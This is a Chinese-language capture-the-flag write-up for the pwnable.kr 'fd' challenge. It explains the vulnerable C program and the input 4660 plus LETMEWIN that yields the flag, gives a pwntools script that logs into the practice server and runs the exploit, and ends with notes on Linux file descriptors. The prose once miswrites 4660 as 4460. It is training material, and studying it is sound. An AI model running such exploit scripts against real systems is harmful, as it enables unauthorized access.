pwnable.kr-fd
ssooking Lv5

题目

pwnable地址:http://pwnable.kr/play.php

题目名称:fd

1
2
3
4
5
6
Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

解题过程

查看文件

1
2
3
4
$ ls -al
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

查看fd.c源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32]; //创建一个32字节的缓冲区
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

一些函数解释:

  • atoi函数的作用是将开头包含数字的字符串转换成int类型整数。
  • read函数的作用是从文件描述符fd读取一定字节长度的数据到缓冲区read(int fd, void *buf, size_t count),其中第一个参数fd的值代表文件描述符。这里的作用是获取键盘的标准输入内容,并放到缓冲区中。
  • strcmp是一个字符串比较函数,用于比较两个字符串的ASCII大小。实际比较大小是根据第一个参数ASCII值减去第二个ASCII值的结果判断的。如果两个字符串数值相等,则返回0 。
  • ! 代表逻辑取反,即:把非0的数值变为0,0变为1;

通过分析程序逻辑,可以想到,如果满足if(!strcmp("LETMEWIN\n", buf))判断条件,即!strcmp("LETMEWIN\n", buf))值为1时(即strcmp("LETMEWIN\n", buf)值为0),就能够执行命令查看flag的内容。而当 buf == "LETMEWIN\n时,strcmp返回结果为0。因此我们需要交互式输入的内容为LETMEWIN,然后按下回车键,这样能够使buf的值为LETMEWIN\n

但是如果从键盘获取输入,文件描述符fd的值需要为0。代码中,fd的值由我们命令行输入的参数值转换成整数后,减去0x1234(即十进制4660)得到的,那么如果我们输入的值也是4460,经过计算后fd的就正好为0,这样我们就可以进行IO输入操作了。

操作

1
2
3
4
$./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

flag:mommy! I think I know what a file descriptor is!!

pwntools漏洞利用

pwntools文档

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python

from pwn import *

#建立ssh连接
shell = ssh('fd' ,'pwnable.kr' ,password='guest', port=2222)
#执行程序
process = shell.process(executable='./fd', argv=['fd','4660'])

# 发送LETMEWIN并读取输出
process.sendline('LETMEWIN')
print process.recv()

执行结果:

2019123023345

Linux 标准输入输出

linux贯彻”一切皆文件”的思想,任何操作都可以看作是对文件的读写。Linux通过标准输入输出(I/O)的方式实现对这些文件读写,在这个过程中,Linux会根据一个非负整数来标识对文件的读写操作,这个非负整数叫做文件描述符(file descriptor, fd),它有3个值,分别为0、1、2。

I/O即标准输入(stdin)、标准输出(stdout)、标准错误输出(stderr)。
标准输入即是从键盘输入,标准输出、标准错误输出即输出到终端,显示到屏幕。

文件描述符详解:

I/O FD 重定向操作符 含义
standard input (STDIN) 0 < 或 <<,0< 或0<< 读取输入的位置
standard output (STDOUT) 1 > 或 >>,1> 或 1>> 写入输出的位置
standard error (STDERR) 2 2> 或 2>> 写入错误消息的位置

参考

  • Post title:pwnable.kr-fd
  • Post author:ssooking
  • Create time:2019-12-30 14:34:00
  • Post link:https://ssooking.github.io/2019/12/pwnable-kr-fd/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.